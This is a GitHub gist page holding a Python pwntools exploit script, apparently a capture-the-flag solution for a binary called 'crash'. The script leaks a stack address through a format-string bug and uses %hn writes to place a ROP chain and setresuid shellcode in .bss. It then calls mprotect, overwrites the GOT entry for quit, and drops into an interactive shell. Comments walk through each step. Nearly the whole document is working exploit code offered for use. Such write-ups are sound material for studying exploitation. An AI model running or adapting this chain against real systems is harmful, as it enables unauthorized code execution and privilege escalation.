Skip to content

Instantly share code, notes, and snippets.

@kristoff3r
Created July 16, 2013 00:17
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save kristoff3r/6004722 to your computer and use it in GitHub Desktop.
Save kristoff3r/6004722 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python
from pwn import *
import time, sys
context('i386', 'linux')
# Useful addresses
gets = 0x08049376
bss = 0x08139d80 # This might be the .data section, we tried a few places and this works
mprotect = 0x80a56c0
pop35ret = 0x804fd95
leaveret = 0x8048f39
quit = 0x081380a4
# Generate ROP chain
r = ROP('crash')
r.call(mprotect, [0x08139000, 0x1000, 0x7])
r.call(bss + 0x50)
chain = r.flush()
# Generate shellcode + 8 NOPs for alignment purposes
shellcode = asm(shellcode.setresuidsh()) + p8(0x90)
# Functions for reading and writing at arbitrary addresses
def leak(where):
return 'dec {0}\necho %25$a\n'.format(where)
def write_(what, where):
return 'dec {0}\necho %.{1}u%25$hn\n'.format(where[2:], what)
# Exploit
proc = process('crash')
#proc = ssh('188.40.147.115', 'challenge', 'challenge').shell(tty = False)
proc.recvuntil('craSH-> ')
# Initial leak, in order to defeat stack randomization
proc.send('echo %6$x\n')
proc.recvline()
saved_ebp = int(proc.recvline().strip(), 16)
print hex(saved_ebp)
# Write the ROP chain at the .bss section
for i in range(0, len(chain), 2):
proc.send(write_(u16(chain[i:i+2]), hex(bss+i)))
proc.recvuntil('craSH-> ')
# Write the shellcode a bit further down
for i in range(0, len(shellcode), 2):
proc.send(write_(u16(shellcode[i:i+2]), hex(bss+0x50+i)))
proc.recvuntil('craSH-> ')
# This part is a bit dodgy, but it seemed like a good idea at the time (4am :D)
# We write the first part of the ROP directly into the stack which we leaked at the
# beginning at a seemingly random place. It turns out, however, that it is far enough
# up the stack that it doesn't break the program flow, and we have a gadget which pops exactly
# to this place.
proc.send(write_(0x9d7c, hex(saved_ebp + 92)))
proc.send(write_(0x0813, hex(saved_ebp + 94)))
proc.send(write_(0x8f39, hex(saved_ebp + 96)))
proc.send(write_(0x0804, hex(saved_ebp + 98)))
# Next, we overwrite the quit address in the GOT to point to our gadget.
# Then, when we call quit, the stack points directly at the ROP, which is simply
# a leave-ret gadget which transfers control to the main ROP chain.
proc.send(write_(0x0804, hex(quit+2)))
proc.send(write_(0xfd95, hex(quit)))
# And now, we quit and get shell.
proc.send('quit\n')
proc.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment